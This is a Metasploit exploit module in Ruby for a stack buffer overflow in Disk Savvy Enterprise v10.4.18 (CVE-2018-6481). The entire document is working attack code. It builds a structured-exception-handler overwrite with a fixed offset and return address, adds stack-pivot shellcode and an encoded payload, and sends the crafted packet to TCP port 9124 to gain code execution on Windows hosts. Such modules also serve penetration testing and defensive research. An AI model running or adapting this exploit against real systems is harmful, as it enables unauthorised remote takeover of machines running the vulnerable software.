Disk Savvy Enterprise v10.4.18

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Disk Savvy Enterprise v10.4.18',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability
          in Disk Savvy Enterprise v10.4.18, caused by improper bounds
          checking of the request sent to the built-in server. This module
          has been tested successfully on Windows 7 SP1 x86.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniel Teixeira'
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x02\x0a\x0d\xf8",
          'Space' => 800
        },
        'Referencess' => [
          [ 'CVE', '2018-6481' ]
        ],
        'Targets' => [
          [
            'Disk Savvy Enterprise v10.4.18',
            {
              'Offset' => 124,
              'Ret' => 0x10056d13
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2017-01-31',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(9124)])
  end

  def exploit
    seh = generate_seh_record(target.ret)
    connect

    buffer = make_nops(target['Offset'])
    buffer << seh
    buffer << "\x83\xc4\x7f" * 13   # ADD esp,7fh
    buffer << "\x83\xc4\x21"        # ADD esp,21h
    buffer << "\xff\xe4"            # JMP esp
    buffer << payload.encoded
    buffer << Rex::Text.rand_text_alphanumeric(1)

    header = "\x75\x19\xba\xab"
    header << "\x03\x00\x00\x00"
    header << "\x00\x40\x00\x00"
    header << [buffer.length].pack("V")
    header << [buffer.length].pack("V")
    header << [buffer[-1].ord].pack("V")
    packet = header
    packet << buffer

    sock.put(packet)
    handler
  end
end